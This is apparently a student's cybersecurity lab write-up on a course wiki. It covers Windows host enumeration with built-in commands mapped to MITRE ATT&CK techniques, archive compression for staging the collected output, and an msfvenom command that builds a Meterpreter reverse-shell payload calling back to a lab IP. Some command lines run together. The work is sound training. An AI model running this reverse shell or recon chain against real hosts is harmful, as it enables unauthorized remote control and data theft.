Week04 - Christopher-Lavalette/SEC-335 GitHub Wiki
Objective: Use LOLBins to enumerate host information. Save the output of each command to a separate file.
Find the native Windows command to run the commands below, some are likely from the LOLBins assignment. Run each command as the champuser account. Redirect output to files in C:\temp\ (create this folder if it doesn’t exist.). Save all the commands to a script (.bat or Powershell, your choice).
whoami /all
tasklist /vnetstat -anoGet-Service | Format-Table -AutoSize | Out-File "$Out\04-services.txt"net usernet localgroupnet localgroup Administratorsipconfig /allnetsh advfirewall show allprofilesarp -anet sessionsysteminfoquery useruser portion specifies that Windows should display information about user sessions.
Information gathered: Displays users currently logged onto the Windows system, including session names, session IDs, and session state.
Attacker value: An attacker can determine which users are currently active and potentially identify interesting or privileged sessions.
MITRE ATT&CK: T1033 - System Owner/User Discovery
Command:
wmic process get name,processidprocess specifies that WMIC should query Windows processes.
get specifies that information should be retrieved rather than modified.
name,processid specifies the two properties to display: the process name and its process ID (PID).
Information gathered: Lists running processes and their process IDs.
Attacker value: An attacker can identify running applications, security software, and processes that may be useful for further activity.
MITRE ATT&CK: T1047 - Windows Management Instrumentation
Command:
net startstart tells the net utility to display the Windows services that are currently running.
Information gathered: Lists currently running Windows services.
Attacker value: An attacker can identify services, security software, databases, and other applications running on the host.
MITRE ATT&CK: T1007 - System Service Discovery
Command:
ipconfig /displaydns/displaydns tells ipconfig to display the contents of the Windows DNS resolver cache.
Information gathered: Displays DNS information stored in the Windows DNS resolver cache.
Attacker value: The cache can reveal domains recently accessed by the system and provide information about applications and network infrastructure.
MITRE ATT&CK: T1016 - System Network Configuration Discovery
Command:
route printprint tells the route utility to display the current IP routing table.
Information gathered: Displays the Windows routing table.
Attacker value: An attacker can identify reachable networks, gateways, and network interfaces to better understand the host's network position.
MITRE ATT&CK: T1016 - System Network Configuration Discovery
Below is 4 compression methods being used, along with a screenshot of the compression commands in action, with the compressed files being accessible through links below.Compress-Archive
powershell tar
In this instance
-c: Creates a new archive file.
-z: Compresses the archive using Gzip.
-f: Specifies the filename of the target archive
-a: NOT USED in this instance, but could be used replacing -z to make a typical ZIP file instead of GZIP.
powershell Compress-7Zip
powershell makecab
enumeration.cab config.ddf setup.inf setup.rpt
Command used on the Kali VM to create: "windows-payload.exe", which then needed to be downloaded on the Windows VM and opened.
bash
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.0.17.34 LPORT=5555 -f exe -o ~/windows-payload.exe
Screenshot of the Kali VM successfully establishing a connection with the Windows VM after "windows-payload.exe" was opened.
All of the Requirements for Task 3 have been bundled into the one video listed below.
(You may need to manually change the video resolution)
The archive format that produced the smallest file was 7zip, with a length of 11,743 compared to the next smallest produced file, 12,269. This is not surprising to me, as 7Zip is a very commonly used compression format for its practicality and effectivness.
The easiest compression tool to use, for me, was the basic zip tool using the compress-archive command. The command was already preinstalled with Windows and is the most commonly used format, meaning it is very modular and accepted on practically any platform due to its position as the standard format.All of the Requirements for Task 4 have been bundled into the one video listed below.
(You may need to manually change the video resolution)